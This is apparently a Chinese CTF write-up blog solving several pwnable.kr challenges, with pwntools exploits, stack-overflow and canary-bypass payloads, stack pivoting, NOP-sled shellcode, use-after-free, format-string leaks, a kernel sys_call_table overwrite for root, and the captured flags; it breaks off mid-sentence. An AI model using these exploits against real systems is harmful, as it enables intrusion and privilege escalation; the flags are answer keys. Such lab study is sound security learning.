我在调试的时候用的recv(4)接收地址,但是有时候成功有时候失败,因为recv是最多读 4 字节,只要当前缓冲区里有数据就先返回,而Linux pipe / stdio 调度导致:有时候4字节一起到达,有时候只到1字节,有时候2+2,有时候3+1。所以这里改用recvn(4),它表示一定等到 4 字节再返回。

如何写?由于getchar只从缓冲区取一个字节,所以我们一次发四个字节,它写一次,移动一下,再读写一次。 {: .prompt-tip }

思路:泄漏putchar真实地址,计算偏移。根据偏移计算system和gets真实地址。改写putchar表项值为main,修改memset为gets,修改fgets为system。最后再用.触发putchar即可,从而调用main,调用里面的system。

小插曲,我脚本是在靶机上面vim写的。我逻辑检查了许多遍,完全没有问题,但靶机本地就是拿不到shell,我改成remote('localhost', 9001)居然拿到了shell。然后恍然大悟,靶机用的libc是/lib/i386-linux-gnu/libc.so.6,即使服务也在靶机上的,但是那个服务用的是题目给的/home/brainfuck/libc-2.23.so。所以在获取libc里的函数地址时就对不上了。

所以打本地就用ldd看一下,再加载本地的。打远程再切换到系统给的。

直接出flag的exp:

学到很多

md5 calculator#

I made a simple MD5 calculator as a network service. I made sure the service is protected with stack canary option. So no need to worry about BoF.

ssh md5calculator@pwnable.kr -p2222 (pw:guest)

1md5calculator@ubuntu:~$ checksec md5calculator
2[*] '/home/md5calculator/md5calculator'
3    Arch:       i386-32-little
4    RELRO:      Partial RELRO
5    Stack:      Canary found
6    NX:         NX enabled
7    PIE:        No PIE (0x8048000)
8    Stripped:   No
console

本地启动提示缺少库,远程测试一下:

发现,输入AAA和ABC的哈希是一样的,不知道是什么处理的,然后输入三次就退出。哈希解密显示如下:

IDA:

运行报错,因为缺少了32位libcrypto-1.0.0

由于经常要加载各种库,和libc,我新建了一个仓库,把32位和64位的不好得到的库都搜集了一下:

https://github.com/TajangSec/binlib ↗

gdb调试手动加载库的程序:

  1. 先gdb ./md5calculator启动
  2. 在gdb里面设置:set environment LD_PRELOAD=./libcrypto.so.1.0.0

然后就可以用这个库运行程序了。 {: .prompt-tip }

这题要读完代码才行,伪代码还是太难以看懂了。好在有AI,并且不算太复杂。

漏洞点如下:

  1. 种子是当前时间戳,把脚本也放服务器上,确保时间一致,那么生成的序列可以得到。
  2. Myhash使用了Canary值来计算,可以泄露
  3. 主要漏洞在于process_hash里面,g_buf能存1024,而v3只有512,可以溢出。
  4. Base64Decode写入base64编码后的长度到v3,而v3是512的,传入太长,解码后还是大于512的话,可以溢出。

关于Canary的值,我起初认为只能计算出my_hash函数的Canary值,而process_hash是自己栈帧的Canary,这个是没有参与计算的,那就算不出来,但Canary其实是一样的。

**Canary 在同一个进程中是恒定的。**在同一个程序运行期间,所有函数的 Stack Canary(栈保护随机数)都是从同一个内存地址(在 32 位 Linux 上是 gs:[0x14])读取的。所以这两个Canary都是同一个。

{: .prompt-tip }

这里先把脚本放在服务器上调试运行,连接上后获取当前时间,那么后续变量我们都能获得,根据程序显示的验证码,就计算出Canary值。

此时溢出,如鸟上青天,鱼入大海再也不受羁绊了

调试如下:

 1pwndbg> stack
 200:0000│ esp 0xffffd2b0 —▸ 0x804b0e0 (g_buf) ◂— 'S0tLSwo=\n'
 301:0004│-224 0xffffd2b4 —▸ 0xffffd2cc ◂— 'KKKK\n'
 402:0008│-220 0xffffd2b8 —▸ 0xf7ca9620 (_IO_2_1_stdin_) ◂— 0xfbad2288
 503:000c│-21c 0xffffd2bc ◂— 0x41 /* 'A' */
 604:0010│-218 0xffffd2c0 ◂— 0
 705:0014│-214 0xffffd2c4 —▸ 0xf7a8378c ◂— 0x7c9d3dea
 806:0018│-210 0xffffd2c8 ◂— 0x7c9d3dea
 907:001c│ ebx 0xffffd2cc ◂— 'KKKK\n'
10pwndbg> p/d $ebp - $ebx
11$7 = 524
12pwndbg> x/w $ebp - 0xc
130xffffd4cc:     -1324787200
console

v3在ebx那里,距离栈底524,canary在$ebp - 0xc是由伪代码里v4 的[ebp-Ch]得到的。

所以我们要填充512垃圾字符,填充canary(占了4字节),再填充8字节垃圾字符,再填充ebp所在地址4字节,再填写需要ret的system地址,再填写system的返回地址,再填写参数地址。这就是溢出逻辑链。

还有一个问题是system的参数,程序没有PIE,而g_buf是全局变量,地址是固定的。由于g_buf存储的是base64编码后的内容,这里手动添加00截断,再添加/bin/sh到编码后的payload里面,这样Base64Decode遇到00就不会读取后面的内容。也能把前面的payload写入到v3。所以system的参数地址,要计算payload base64编码后的长度。base64是每3个字节转换成4个字节。payload长度是 512 + 4 + 12 + 4 + 4 + 4 = 540,base64后是720,加上00截断字节,就是721。所以参数地址应该是g_buf + 721

payload如下:

 1# 完整溢出 payload
 2payload = [
 3    b'K' * 512,                # 1. 填满v3缓冲区
 4    p32(canary),               # 2. 原样填充Canary
 5    b'K' * (0x8 + 0x4),        # 3. 填充到旧EBP
 6    p32(system_addr),          # 4. 覆盖返回地址 → EIP = system
 7    p32(0xdeadbeef),           # 5. system的返回地址(随便填,没用)
 8    p32(binsh_addr)            # 6. ✅ system的参数:/bin/sh的地址(g_buf里的地址)
 9]
10base64(payload)
11payload += b'\x00'
12payload += b'/bin/sh\x00'
python

还有个问题,由于python的随机函数random用的Mersenne Twister,而glibc 的 rand() 是线性同余算法,所以这里要保持同一种随机算法。通过ctypes库调用机器上的glibc。

exp:

哈哈哈,调试了两三天,才通,我太菜了。

flag:M3ssing_w1th_st4ck_Pr0tector

simple login#

Can you get authentication from this server?

ssh simplelogin@pwnable.kr -p2222 (pw: guest)

返回的哈希每次不一样。

看到这里就差不多了,很明显解码后存到v5,长度最多12字节,把v5复制到input,auth函数把input复制给v4,可是v4显示[ebp-8h],说明他离栈底很近,可以溢出,返回地址覆盖为correct函数的binsh就行。

调试:

 1pwndbg> stack
 200:0000│ esp 0xffffdb10 —▸ 0xffffdb30 ◂— 'KKKK\n'
 301:0004│-024 0xffffdb14 —▸ 0x811eb40 (input) ◂— 'KKKK\n'
 402:0008│-020 0xffffdb18 ◂— 5
 503:000c│-01c 0xffffdb1c —▸ 0x8120aa8 —▸ 0x811b8d0 (main_arena+48) —▸ 0x8120be8 ◂— 0
 604:0010│-018 0xffffdb20 —▸ 0x8120aa8 —▸ 0x811b8d0 (main_arena+48) —▸ 0x8120be8 ◂— 0
 705:0014│-014 0xffffdb24 —▸ 0x81209e8 —▸ 0x811b8d0 (main_arena+48) —▸ 0x8120be8 ◂— 0
 806:0018│-010 0xffffdb28 ◂— 5
 907:001c│-00c 0xffffdb2c ◂— 5
10pwndbg> p $ebp
11$1 = (void *) 0xffffdb38
console

可以看到KKKK存在了0xffffdb30,与ebp差0x8,看一下system地址在0x08049284

所以,发送8字节垃圾数据 + 4字节垃圾数据 + system地址,然后base64传入,这样不行的,因为我们只能输入12字节数据,最多覆盖到ebp

所以用到栈迁移技术,就是利用leave把栈迁移到可控的位置。

贴两个很好的教程:

讲得非常好。

所以,我们应该是8垃圾数据 + 4 跳转地址,但是跳到哪里可以有现成的栈呢,程序里面并没有,所以利用那8个垃圾数据制作栈

input内部结构:

1AAAA
2system
3input地址
text

ebp被覆写为input地址,auth函数退出时候,leave(mov esp,ebp;pop ebp)的时候,esp也指向这个地址,然后pop ebp,此时ebp就指向input了,同时esp+0x4。随后的ret会返回到main函数。

经过一系列步骤,需要退出main函数,此时,leave,会导致esp指向input,然后pop ebp,导致ebp指向0xAAAA地址,同时,esp + 0x4,移动到了system上面,ret(pop eip),就把system赋给了eip,下一步就执行了system。

所以exp:

 1from pwn import *
 2import base64
 3
 4io = remote('0', 9003)
 5
 6system = 0x08049284
 7input = 0x0811eb40
 8payload = b'A'*4 + p32(system) + p32(input)
 9
10io.sendline(base64.b64encode(payload))
11io.interactive()
python

otp#

I made a skeleton interface for one time password authentication system. I guess there are no security mistakes. could you take a look at it?

Hint : no need to brute-force

ssh otp@pwnable.kr -p2222 (pw:guest)

这题只能用原生ssh连接,貌似禁止了termius那种有界面的转发。

没有漏洞,漏洞在于 普通用户能限制那个资源,他就只能取0,参考:https://etenal.me/archives/972#C32 ↗

ulimit使用:https://www.linuxcool.com/ulimit ↗

由于限制进程的资源,如果在当前终端启动会报错,要在一个进程里面启动。可以用pwntools的pwnlib.tubes.process。但我这里就直接python得了

 1$ python3
 2Python 3.10.12 (main, Feb  4 2025, 14:57:36) [GCC 11.4.0] on linux
 3Type "help", "copyright", "credits" or "license" for more information.
 4>>> import os
 5>>> os.system('ulimit -f 0')
 60
 7>>> os.system('./otp 0')
 8OTP generated.
 9Congratz!
10f1le_0peration_r3turn_value_matters
110
console

Etenal用的subprocess标准库

1import subprocess
2
3p = subprocess.Popen(['/home/otp/otp',''],cwd='/home/otp',stderr=subprocess.STDOUT);
python

ascii_easy#

We often need to make ‘printable-ascii-only’ exploit payload. You wanna try?

hint : you don’t necessarily have to jump at the beggining of a function. try to land anywhere.

ssh ascii_easy@pwnable.kr -p2222 (pw:guest)

1ascii_easy@ubuntu:~$ checksec ./ascii_easy
2[*] '/home/ascii_easy/ascii_easy'
3    Arch:       i386-32-little
4    RELRO:      Partial RELRO
5    Stack:      No canary found
6    NX:         NX enabled
7    PIE:        No PIE (0x8048000)
8    Stripped:   No
console

看起来不难,不知道为什么那么多前置步骤,就是参数都要是可打印字符,复制给buf

调试:

可以看到覆盖ebp需要32字节

主要限制在于payload都要是可打印范围内的。

所以,system地址是0x3eef0 + 0x5555e000 = 0x5559cef0,但是ce和f0超出ASCII范围,这里用execve吧

能用的是 0x5555e000 + 0x000d8b77 = 0x55636b77。

但是execve要求参数,第一个是程序路径,后两个是NULL

第一个参数应该是程序路径,但很遗憾找不到。所以这里思路是找个在ASCII范围内的字符串填进去。在/tmp创建同名程序,程序功能是调用shell

在找字符串的时候,IDA的String窗口显示不全,因为默认最短5字节,所以要在字符串窗口右键,点击setup,把5改成3。显示多一点。

在汇编窗口是按字节显示的字符串,如:

对着开头地址按A,可以显示成完整字符串,如:

 1.rodata:00158534 aAction         db 'action',0
 2.rodata:0015853B                 db    0
 3.rodata:0015853C                 db    0
 4.rodata:0015853D                 db    0
 5.rodata:0015853E                 db    0
 6.rodata:0015853F                 db    0
 7.rodata:00158540                 db    3
 8.rodata:00158541                 db    0
 9.rodata:00158542                 db    0
10.rodata:00158543                 db    0
11.rodata:00158544 aTag            db 'tag',0
console

这里使用tag,地址等于0x5555e000 + 0x00158544 = 0x556b6544

对于NULL指向0的地址就可以,但是一个参数也是4字节组成的,要求连续4个0,如

 1.rodata:00158534 aAction         db 'action',0
 2.rodata:0015853B                 db    0  // 选这个地址
 3.rodata:0015853C                 db    0
 4.rodata:0015853D                 db    0
 5.rodata:0015853E                 db    0
 6.rodata:0015853F                 db    0
 7.rodata:00158540                 db    3
 8.rodata:00158541                 db    0
 9.rodata:00158542                 db    0
10.rodata:00158543                 db    0
11.rodata:00158544 aTag            db 'tag',0
console

地址等于 0x5555e000 + 0x0015853B = 0x556b653b

payload结构:

132字节垃圾
2call execve
3tag   // 因为上面是call 调用的,它会自动填充返回地址,这里不用写返回地址
4null
5null
text

由于写的路径是tag,所以我们需要编译一个tag的程序,内容是打开shell:

 1ascii_easy@ubuntu:/tmp/as$ cat tag.c
 2#include <stdio.h>
 3
 4int main(void) {
 5        system("/bin/bash");
 6        return 0;
 7}
 8ascii_easy@ubuntu:/tmp/as$ gcc tag.c -o tag
 9tag.c: In function ‘main’:
10tag.c:4:9: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration]
11    4 |         system("/bin/bash");
12      |         ^~~~~~
console

exp和演示:

做这题还是很波折的,没想到问题出在细节上,比如那个null要4个0。之前用的环境变量方法,也是相当麻烦。这道题也更新过几次,很多wp都是用不了的,这里感谢一个较新的wp:https://h4ck.kr/?p=3273 ↗

tiny_easy#

I made a pretty difficult pwn task. However I also made a dumb rookie mistake and made it too easy :( This is based on real event :) enjoy.

ssh tiny_easy@pwnable.kr -p2222 (pw:guest)

运行了一下就段错误。

1tiny_easy@ubuntu:~$ checksec ./tiny_easy
2[*] '/home/tiny_easy/tiny_easy'
3    Arch:       i386-32-little
4    RELRO:      No RELRO
5    Stack:      No canary found
6    NX:         NX disabled
7    PIE:        No PIE (0x8048000)
console

静态链接的题目,ida打开啥也没有,只有start入口函数,调试发现是call edx导致的错误:

eax是程序的绝对目录地址,然后把值赋给了edx,被寄存器截断成了/hom,这个东西调用当然报错。

了解一些进程知识:

Linux 进程刚启动时,栈长这样(32位):

1esp ->
2        argc
3        argv[0]
4        argv[1]
5        ...
6        NULL
7        envp[0]
8        envp[1]
9        ...
console

所以这个程序第一条指令pop eax,就是把argc给了eax

第二条指令 pop edx,就是把argv[0]给了edx,这里的 argv[0] 不是字符串本身。而是char *argv[0],也就是edx = 指向程序名字符串的地址

第三条指令 mov edx,[edx]就是把把 argv[0] 指向的字符串前4字节,当成一个地址赋给edx

程序路径是:/home/tiny_easy/tiny_easy 就变成了/hom,小端序存储为:6d6f682f,调用当然错

由于这个题目的输入只有环境变量,所以从环境变量下手。我们在环境变量里存一个shellcode,让argv[0]刚好指向这个shellcode。

如何控制argv[0]?这个是可以完全伪造的,Linux 下其实 execve 可以:

1execve(path, argv, envp)
c

其中argv[0]完全可以伪造:

1char *argv[] = { "KKKK", NULL };
2execve("/home/tiny_easy", argv, envp);
c

这样的话argv[0] = “KKKK”,于是mov edx, [edx]就会取到0x4b4b4b4b,然后call 0x4b4b4b4b

此时目标是让argv[0]前四字节是环境变量地址,由于开了ASLR,地址不知道,这里要用到nop滑板的技术,就是指令指向nop,这是空操作,就会寻找下一条指令,如果我们填充大量nop,最后补充shellcode,那么我指向的地址刚好蒙中了其中的nop,那么它就会一路滑到shellcode。

那么蒙哪个地址呢?由于环境变量也在栈上,这里就蒙那个栈上的0xff96cdf8吧,ASLR随机看看能不能随机到这里。

还有一点,以前的题目源码能看到,pwnable.kr在读取flag前都有一行:setregid(getegid(), getegid());这是因为程序是锁uid的,所以生成shellcode之前也要有这个步骤。

exp:

运气最好一次,第二次就拿shell了,最差的是100次跑完都没有shell,我建议多执行几次。

好像要学学汇编了。

dragon#

I made a RPG game for my little brother. But to trick him, I made it impossible to win. I hope he doesn’t get too angry with me :P!

Author : rookiss

ssh dragon@pwnable.kr -p2222 (pw: guest)

1dragon@ubuntu:~$ checksec ./dragon
2[*] '/home/dragon/dragon'
3    Arch:       i386-32-little
4    RELRO:      Partial RELRO
5    Stack:      Canary found
6    NX:         NX enabled
7    PIE:        No PIE (0x8048000)
8    Stripped:   No
console

怎么那么长?好像是堆题

结构体的属性位置和对应关系,有的不是分析出来的,我直接上游戏看数据就可以了,快很多。

这里问题出在赢了之后free掉了龙的结构体ptr(外层循环是v4),但是要求输入名字的时候,又调用了一个v4函数指针。这块代码看ChatGPT:

v4 是 _DWORD *,所以:*v4表示取 v4 指向的前4字节,而初始化时:*v4 = PrintMonsterInfo;所以*v4 里面存的是函数地址。然后(void (__cdecl *)(_DWORD *))把那个整数强制解释成函数指针。类型是:void func(_DWORD *)

问题在于打死龙的时候,龙就被free了,后面又分配了v5:v5 = malloc(0x10u);所以这个堆会被v5写入,但是v4仍然指向这里,调用v4指针就会调用v5写入的内容。

怎么跳到这里呢,游戏赢不了的,这里可以看龙的初始化:

1  if ( (v1 & 1) != 0 )
2  {
3    v4[1] = 1;
4    *((_BYTE *)v4 + 8) = 80;
5    *((_BYTE *)v4 + 9) = 4;
6    v4[3] = 10;
7    *v4 = PrintMonsterInfo;
8    puts("Mama Dragon Has Appeared!");
9  }
c

这里的血量是_BYTE,也就占了一个字节,BYTE默认是无符号的。一个字节是8个比特,表示0-255,而后面的攻击函数居然转成整数判断血量:

1if ( *(int *)(a1 + 4) <= 0 )
2{
3  free(ptr);
4  return 0;
5}
c

这里就变成了有符号整数,最高位是符号位,表示范围就变成了-128 到 127。所以这里可以整数溢出,龙的生命大于127就变负数,就可以赢了,然后输入v5为shell地址。

这里选择血量多,攻击低的龙母,然后用法师3技能一直刷回合,没蓝补蓝,让龙溢出生命。

exp:

1from pwn import *
2
3combo = b'1\n1\n1\n1\n3\n3\n2\n3\n3\n2\n3\n3\n2\n3\n3\n2\n'
4shell = 0x08048DBF
5payload = combo + p32(shell)
6io = remote('0',9004)
7io.sendline(payload)
8io.interactive()
python

flag:p3ac3_1s_th3_k3y

syscall#

I made a new system call for Linux kernel. It converts lowercase letters to upper case letters. would you like to see the implementation?

FYI: http://pwnable.kr/bin/syscall.c ↗

ssh syscall@pwnable.kr -p2222 (pw:guest)

根据描述,这题是要看源码:

连上去就能看到系统环境是 ARMv7 架构,这里有个问题,卸载模块函数并没有还原系统调用号。

完全不懂怎么攻击,看了一个 wp 说是内核漏洞,我靠误闯天家。

贴一下:https://h4ck.kr/?p=2535 ↗ ,根据这个 wp 边查资料边学。

这个转大写函数的俩参数能够自己控制,也就实现了任意地址任意写。

基础知识

Linux 有两个世界,用户态和内核态。

普通程序不能:

  • 直接读写内核内存
  • 修改进程 uid
  • 操作硬件
  • 随便 mmap 物理内存

但是内核可以,所以通过漏洞让内核替我们执行代码就可以了。这就是 kernel pwn

Linux 每个进程都有struct cred,这个结构体保存了进程的身份和权限:uid、gid、euid、egid、capability……

内核函数:

1struct cred *prepare_kernel_cred(struct task_struct *daemon)
c

作用是创建一个新的 cred,如果参数是 0,那就是生成 root 的 cred,因为NULL默认用 kernel/root 身份。

函数:

1commit_creds(struct cred *new)
c

作用是把当前进程的 cred 替换掉。

所以许多内核漏洞最后目标就是执行:

1commit_creds(prepare_kernel_cred(0));
c

这样等价于创建 root,安装到当前进程,当前进程是 root 权限。

问题在于普通程序不能调用内核符号,所以 kernel pwn 目标不像用户态那样getshell,而是劫持内核控制流,让 CPU 执行上面那个代码。

exp 需要知道内核符号的地址,所以第一步需要先查看符号:

1/ $ grep prepare_kernel_cred /proc/kallsyms
28003f924 T prepare_kernel_cred
380447f34 r __ksymtab_prepare_kernel_cred
48044ff8c r __kstrtab_prepare_kernel_cred
5/ $ grep commit_creds /proc/kallsyms
68003f56c T commit_creds
78044548c r __ksymtab_commit_creds
88044ffc8 r __kstrtab_commit_creds
console

因为这俩函数只有一个参数,所以要找到只有一个参数的系统调用函数(参数量匹配),是那种能够设置权限的函数,然后把参数设置为commit creds和prepare_kernel_cred。

这样查:

1/ $ cat /usr/include/arm-linux-gnueabihf/asm/unistd.h
2...
3#define __NR_setfsuid			(__NR_SYSCALL_BASE+138)
4#define __NR_setfsgid			(__NR_SYSCALL_BASE+139)
5...
console

像 open、read 这种用户函数对应的系统调用函数是 sys_open、sys_read 这种,系统要想知道函数对应哪个系统函数,要去函数指针数组里面找。然后索引就是系统调用号。

setfsuid 的系统调用号为 138,setfsgid 的系统调用号为 139。

所以这样覆盖:

1syscall(223, "\x24\xf9\x03\x80", &sct[138]);
2syscall(223, "\x6c\xf5\x03\x80", &sct[139]);
c

223 是程序自定义的那个函数,就是吧 input 转大写写到 out 的,input 参数我写的 prepare_kernel_cred 地址,out 写的 sct[138]也就是 sys_call_table里的 setfsuid

由于自定义函数把小写转大写,0x61 到 0x7a 内的减 0x20。所以这里面的 \x6c会被减去 0x20变成\x4c,所以要在这 0x20 的空间填充 NOP 操作,让他滑到 6c 那里。

ARM 指令里用mov r3,r3吧,这个寄存器影响不大,而用 r0,程序会崩。转成机器码是:0330A0E1,覆盖代码这样写:

1syscall(223, "\xe1\xa0\x30\x03\xe1\xa0\x30\x03\xe1\xa0\x30\x03\xe1\xa0\x30\x03\xe1\xa0\x30\x03\xe1\xa0\x30\x03\xe1\xa0\x30\x03\xe1\xa0\x30\x03", 0x8003f54c);
c

Exp:

编译运行:

1/ $ mkdir /tmp/sys
2/ $ cd /tmp/sys
3/tmp/sys $ vi exp.c
4/tmp/sys $ gcc exp.c -o exp
5/tmp/sys $ ./exp
6/bin/sh: can't access tty; job control turned off
7/tmp/sys # cat /root/flag
8Must_san1tize_Us3r_p0int3r
console

crypto1#

Can you break AES128-CBC cipher? AES128-CBC should be always safe from cracking.

ssh crypto1@pwnable.kr -p2222 (pw:guest)

看起来是密码学题目,AES 安全不了解。

client.py

server.py

不想看,直接去搜 AES128_CBC 反转字节攻击。这个攻击方式我有点印象,之前刷题刷到过:https://h4cker.zip/2e5f29/#cbc ↗

当时没做出来,现在认真了解一下吧。

看得好痛苦,https://www.packetmania.net/2020/12/01/AES-CBC-PaddingOracleAttack/ ↗

看了不少文章,原理大致了解了,但是这题还是一知半解,看了 Etenal 的 wp 才恍然大悟:https://etenal.me/archives/972#C27 ↗ ,太棒了。

贴一下这个图:

后面的区块不会影响前面的,我们只看图里第一个块,控制最后一个字节是 cookie 的第一个字节,然后跟自己猜的比对,就能暴破出来

成功得到cookie首位后,减少一位junk,加入已经得到的首位,就能爆破第二位,如此循环就能得到所有的cookie

这里推荐 Etenal 的 exp:

运行结果:

echo2#

Pwn this echo service.

ssh echo2@pwnable.kr -p2222 (pw: guest)

选单题,居然有栈执行权限,还没有 Canary

反编译:

逻辑很简单,明显 UAF,输入 4,exit 后执行了 cleanup 函数,它将 o 释放。但是后面按 n,不退出程序,再调用任何一个选项就会调用:

1(*((void (__fastcall **)(void *))o + 3))(o);
2
3(*((void (__fastcall **)(void *))o + 4))(o);
c

造成 UAF,而 echo3 有一个 malloc 0x20,这里比 o 的 0x28 小,所以会复用,并且可写。所以最终调用 echo3,写入垃圾字符加 shell 地址到 s 里面,在调用后面的 o(4)的时候,就会调用 s(4)。

所以利用链是:

  1. 按 4,执行 cleanup
  2. 按 n,不退出程序
  3. 按 3,覆写 o 的堆空间
  4. 按 1或 2,调用 o

如果连续两次 n 还会 double free,这里echo2 是格式化字符串漏洞,可以打印栈地址。

对于格式化字符串,我觉得 ctf-wiki 写的不好,这里推荐: CTFer成长日记11:格式化字符串漏洞的原理与利用 ↗

调试如下:

1输入:AAAAAAAA%p%p%p%p%p%p%p%p%p%p%p
2pwndbg> 
3AAAAAAAA0x6032d10xfbad22880x7ffff7d1ba910x6032ef(nil)0x41414141414141410x70257025702570250x70257025702570250xa7025702570250x7fffffffe7200x400acb
console

可以看到输入的值在第 6 个位置,我一直以为输入%6$x就能打印当前字符串的地址,然后根据字符串在栈里的偏移计算 rbp,实际上不是的,这个只能打印字面量的 ASCII,就像 41414141 一样,我们要加长 %p,直到打印出 rbp 或者其他栈上的值,一般是 0x7ffff 开头,上面可以看到是0x7fffffffe720,第 10 个。由于题目是 x64,所以前 6 个不需要在意那是寄存器上的值,gdb 里也能看到(输出的上一个调试帧)。后面出现了 0x7ffff 就打印栈:

 1pwndbg> stack 30
 200:0000│ rsp 0x7fffffffe6c0 ◂— 'AAAAAAAA%p%p%p%p%p%p%p%p%p%p%p\n'
 301:0008│-018 0x7fffffffe6c8 ◂— '%p%p%p%p%p%p%p%p%p%p%p\n'
 402:0010│-010 0x7fffffffe6d0 ◂— '%p%p%p%p%p%p%p\n'
 503:0018│-008 0x7fffffffe6d8 ◂— 0xa702570257025 /* '%p%p%p\n' */
 604:0020│ rbp 0x7fffffffe6e0 —▸ 0x7fffffffe720 —▸ 0x7fffffffe7c0 —▸ 0x7fffffffe820 ◂— 0
 705:0028│+008 0x7fffffffe6e8 —▸ 0x400acb (main+443) ◂— jmp main+248
 806:0030│+010 0x7fffffffe6f0 ◂— 0
 907:0038│+018 0x7fffffffe6f8 ◂— 0x200000000
1008:0040│+020 0x7fffffffe700 ◂— 0x6c6c656873 /* 'shell' */
console

可以看出,存储名字的地方是0x7fffffffe700,我们能泄露的地址是0x7fffffffe720,所以减去 0x20 即可。

堆复用,我们是调用 echo2 里面的 o(3),所以往 s 里面填充三个字长垃圾,在第四位填充我们的 shellcode 地址。

对了,这题不能远程,要把脚本放在机器上连接

exp:

在/tmp/echo2 目录里面发现了一个脚本,也能攻击成功,但是写得好复杂:

没时间看。

rsa_calculator#

Pwn this RSA calculator service. its lame, but it also supports some encryption/decryption.

ssh rsa_calculator@pwnable.kr -p2222 (pw: guest)

保护措施:

 1rsa_calculator@ubuntu:~$ checksec rsa_calculator
 2[*] '/home/rsa_calculator/rsa_calculator'
 3    Arch:       amd64-64-little
 4    RELRO:      Partial RELRO
 5    Stack:      Canary found
 6    NX:         NX unknown - GNU_STACK missing
 7    PIE:        No PIE (0x400000)
 8    Stack:      Executable
 9    RWX:        Has RWX segments
10    Stripped:   No
console

运行:

说实话,RSA 大名鼎鼎,但我仍然不想了解,现在不喜欢数学了,只喜欢用数学装逼。

源码很长,慢慢读,一点点查,这题 200 分呢,而且题目说了有多个漏洞。

Main 函数:

很常规的选单函数,这里有个 bug 是可以输入 0 或负数。

set_key 函数:

看得很累,没看出来什么东西

RSA_encrypt 函数:

这个伪代码不太好看出,但是有溢出。比如 g_ebuf 的地址在:0x6020E0,main 函数里存储 set_key 函数结果的func 对象在0x602500,相差仅仅 1056 字节。

RSA_decrypt

说实话,我只看出一个 53 行的格式化字符串漏洞。

看了其他 wp:https://quildu.xyz/pwnablekr/rookiss/rsa_calculator/

他说还有

  • 42 行,在循环中,使用 sscanf 和“%02x”时,长度是预期的两倍。
  • 45 行,ciphertext 的长度为 512 字节,但 memcpy 最多可复制 1024 字节
  • 46 行,data_counter / 8 应该是 data_counter / 4

但是他没给 exp。

这里还是格式化字符串泄露地址,用那个栈溢出覆盖 func,然后拿 shell

Etenal 还提到了一个点:

1.text:000000000040101A ; 20:     if ( v4 <= 1024 )
2.text:000000000040101A                 mov     eax, [rbp+var_634]
3.text:0000000000401020                 cmp     eax, 400h
4.text:0000000000401025                 jle     short loc_40103B
c

这里应该用 jbe,但是却用了 jle。

jbe 是无符号判断,即使输入负数,被认为极大正数,不会通过判断。

jle 是有符号判断,输入负数,小于 1024,会通过判断,并且循环常用len--,导致负数 int 自减变成极大正数,无限循环,所以可以输入任意长数据。

溢出覆写 func思路#

调试,我设置的 p=13,q=22,e=251,d=251

运行完那个加密循环后,p_buf 和 p_ebuf 的空间:

可以看到每个字节独占 4 个字节。而且 C 和 D 变了,这个要看参数设置的。而且 func 地址里面存的0x00400a8c就是菜单 1,set_key函数的地址。我们目的就是覆盖这个地址。覆写成 shellcode 地址,然后选 1,触发。

看一下距离:

1pwndbg> p 0x602500 - 0x6020e0
2$1 = 1056
3pwndbg> p $1 / 4
4$2 = 264
console

ebuf 距离 func 是 1056 字节,由于密文是明文 1 变 4,所以需要 264 个字节明文。由于还要覆写 func 本身,所以需要再加一个明文,而且这个明文计算完是 shellcode 的地址:0x602560

怎么找到这个密文呢?这个 RSA 算法没有检验 p 和 q 是大素数,简单很多。先画靶子再射箭:

0x602560 = 6301024

已知 RSA 加密函数:C=Me mod nC = M^e \bmod n

所以要创造出 6301024=Me mod n6301024 = M^e \bmod n,即n∗a+6301024=Men * a + 6301024 = M^e,这里设定 M=14,e=7,因为他们乘积算是接近 6301024的。

所以n∗a=99112480n * a = 99112480,这里要取一个整数 n,可以因式分解,还必须跟 a 互为整数

写脚本不断尝试后,n 取 12389060,因式分解 p 和 q,由于他们是 char 类型, 64 位系统下取值范围是 0x0000 - 0x7FFF

这里用在线分解素数的网站,http://www.factordb.com/index.php?query=99112480

这里 p 取 16288=2^5 * 509,q 取 6085= 5 * 1217

exp:

我这个逻辑完全正确,我也 pwndbg 调试了所有寄存器和变量,覆写全部正确,但就是不行,无论本地还是远程

搞了两天。最终排查出来是 0x602560 没有执行权限:

即使 checksec 显示Has RWX segments,但 bss 段就是没有。

这里想了很久,实在不想放弃这个路子,其他 wp 都是格式化字符串泄露 Canary,然后栈溢出做,我觉得没有我这个简单。最终想到覆写为system@plt。

main 的反编译源码里有一句qword_602538 = (__int64)system;

他的地址是固定的:0x4007c0

我如果覆写成这个地址,那就可以调用了,而且有执行权限。但是 RSA 就要重新计算:

新的 RSA 参数(让第 265 字节加密后等于 0x4007c0):

  • M=3, e=17, p=6125, q=20399, d=110221193
  • 验证:3^17 mod 124943875 = 4196288 = 0x4007c0

这个 system 函数是需要参数的,根据传参约定,参数是 RDI,而调试完可以看到 RDI 就是输入的菜单选项。

所以我们最后输入 1,调用 system,会变成 system(“1”),所以创建一个软链接就行:./1 -> /bin/sh,发现也不行,因为远程是 docker 服务,没法创建软链接,这条路又断了。

格式化字符串漏洞思路#

换大家用的格式化字符串漏洞那个思路吧。问题出现前面说的 RSA_decrypt 函数:

1while ( 2 * v5 > i )
2      {
3        v9[0] = ptr[i + 1];
4        v9[1] = ptr[i + 2];
5        v9[2] = 0;
6        v2 = &src[v7++];
7        __isoc99_sscanf(v9, "%02x", v2);
8        i += 2;
9      }
c

这里 ptr 是用户输入的字符,每两位解密成一个字节。比如 41 两个字符解密成一个 A

比如 1024 个字符,应该只用 512 次循环的,因为 i 是自增 2。而这里使用了 2 * v5,所以循环了 1024 次,那么 ptr 后面的内容也被写入 src 中。

当v5>1024时,v7>512,src数组只有512字节(之前的 memset 初始化了 0x200u),直接溢出到后面的栈空间

后面的memcpy(g_ebuf, src, v5);由于两个字符变一个,所以长度变了一半,这里应该是 v5/2

关键漏洞:printf(g_pbuf);

还有一点:程序允许用户自定义 e 和 d,且不做任何安全性检查。设置 e=1, d=1 可使加密/解密成为恒等变换(m^1 mod n = m),完全绕过密码学保护。

这里采用 p=61,q=53,e 和 d 都是 1,pq 其实无所谓的,只要N > 255 就可以了,否则程序会说 key 太短。

首先测格式化字符串的便宜,由于加密后是 16 进制显示,A 变成41000000,变成八倍,而 src 最多 520 长度,这里最多输入几十个 %p,多输入会触发 Canary。但是这题的偏移很远,这里用脚本测试。

能够得到输入的字符串在 140 偏移。这里坑居多,测试的字符串放前面,由于他是每 4 位取一个导致被覆盖。乱七八糟的,没有 AI 真搞不出来。

然后把 scanf 覆写为 system,为什么呢?之前 system 参数都不好搞,现在为什么可以,请看:

1while ( 2 * v5 > i )
2      {
3        v9[0] = ptr[i + 1];
4        v9[1] = ptr[i + 2];
5        v9[2] = 0;
